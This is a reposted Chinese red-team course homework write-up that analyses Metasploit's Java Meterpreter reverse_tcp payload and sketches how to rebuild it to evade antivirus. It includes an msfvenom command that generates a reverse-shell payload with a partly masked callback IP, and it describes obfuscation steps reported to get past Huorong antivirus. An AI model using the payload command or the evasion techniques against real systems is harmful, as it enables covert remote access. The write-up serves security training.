红队作业 | 免杀Meterpreter java马

红队作业 | 免杀Meterpreter java马,第1张

红队作业 | 免杀Meterpreter java马

文章来源|MS08067 红队培训班 第5期

本文作者:aeqaq(红队培训班5期学员)


按老师要求尝试完成布置的作业如下:

目标:

分析msf meterpreter java马的原理,然后自己写一个保留了核心逻辑的,来达到免杀效果。

1.生成马
msf6 > use java/meterpreter/reverse_tcp
msf6 payload(java/meterpreter/reverse_tcp) > msfvenom -p java/meterpreter/reverse_tcp LHOST=1.117.xxxxxx  LPORT=4444 W >text.jar
2.反编译分析源码 2.1用jd-gui反编译源码导出

也可以把jar包直接拖到idea里


2.2分析源码

MAINFEST.MF

jar包的签名文件,在里面找到加载入口类metasploit/Payload.class

metasploit.dat文件

里面存储了服务器端设置的ip和端口,还有一个Spawn参数

跟进到主类Payload进行分析,直接看main方法

最开始是一些读取文件和数据

接下来是做了一个文件的生成和删除,因为在metasploit.dat中,没有Executable这个属性,所以可以跳过

接下来是进入这个if判断,第一次的时候i==2,详细的在注释里面,因为代码水平较差,所以基本上每一步都解释了

这里主要是递归,创建了自己并且执行,然后把创建的都删了(i>0)的时候,就是Spawn参数>0的时候,是为了逃避杀软分析内存调用

下面一个else if应该是跳过的,看最后一个else,也就是i<=0的时候

 

核心:在这里执行字节码


3.尝试实现免杀

思路:

保留关键步骤,删去不必要的步骤,添加混淆步骤

在局域网进行测试

主要就是socket的建立和bootstrap方法保留下来

尝试方法:

1.写死ip和端口

2.添加混淆方法

3.更换方法,参数名字

尝试初期:总是timeout

Exception in thread "main" java.net.ConnectException: Connection timed out: connect

需要配合服务器端的msf监听器,去在Properties里把他设置的和msf端一样


火绒没报毒

回连正常

红队攻防 第5期 火热报名中

报名咨询联系小客服

扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群,内部微信群永久有效!

 

 

目前50000+人已关注加入我们

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5707740.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-18
下一篇 2022-12-17

发表评论

登录后才能评论

评论列表(0条)

保存